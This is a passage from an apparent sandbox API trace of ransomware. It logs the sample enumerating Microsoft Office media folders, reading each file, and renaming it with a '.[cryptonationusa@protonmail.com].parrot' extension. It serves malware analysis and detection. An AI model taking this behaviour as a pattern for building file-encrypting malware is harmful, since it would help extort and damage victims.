Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115867.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115867.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115867.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.558] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.558] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.559] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe0, lpOverlapped=0x0) returned 1 [0166.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115868.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115868.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115868.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.563] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0166.563] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xef4ecd80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xef4ecd80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.603] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedff2ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xa88, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10253_.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BD1025~1.PAR")) returned 1 [0166.604] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0166.606] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0166.606] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.607] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0166.607] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0166.607] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0e4a00, ftCreationTime.dwHighDateTime=0x1bd5ead, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9b0e4a00, ftLastWriteTime.dwHighDateTime=0x1bd5ead, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10219_.GIF", cAlternateFileName="")) returned 1 [0166.608] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.608] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.609] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.609] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3d2, lpOverlapped=0x0) returned 1 [0166.610] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.615] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.615] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.617] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.617] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x97e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x97e, lpOverlapped=0x0) returned 1 [0166.617] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.636] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.636] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.637] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.637] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x124, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x124, lpOverlapped=0x0) returned 1 [0166.638] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.646] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.646] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.647] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.647] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x134, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x134, lpOverlapped=0x0) returned 1 [0166.648] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.653] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.654] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.655] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.655] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x497, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x497, lpOverlapped=0x0) returned 1 [0166.655] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.660] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.660] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.661] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.661] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x27d, lpOverlapped=0x0) returned 1 [0166.661] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.668] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.668] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.670] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.670] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3a4, lpOverlapped=0x0) returned 1 [0166.670] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.676] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.676] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.677] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.677] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x160, lpOverlapped=0x0) returned 1 [0166.678] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.684] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.684] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.685] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.686] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x617, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x617, lpOverlapped=0x0) returned 1 [0166.686] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.691] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.691] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.693] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.693] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5ab, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5ab, lpOverlapped=0x0) returned 1 [0166.693] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.698] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.699] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.699] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.700] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x25b, lpOverlapped=0x0) returned 1 [0166.700] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.705] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.705] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.705] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.706] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d7, lpOverlapped=0x0) returned 1 [0166.706] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.711] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.711] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.712] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.712] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11c, lpOverlapped=0x0) returned 1 [0166.713] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.713] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.713] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.713] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.718] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.719] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.720] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.720] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fe, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2fe, lpOverlapped=0x0) returned 1 [0166.720] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0166.721] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0166.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0166.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.725] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.726] ReadFile (in: hFile=0x280, 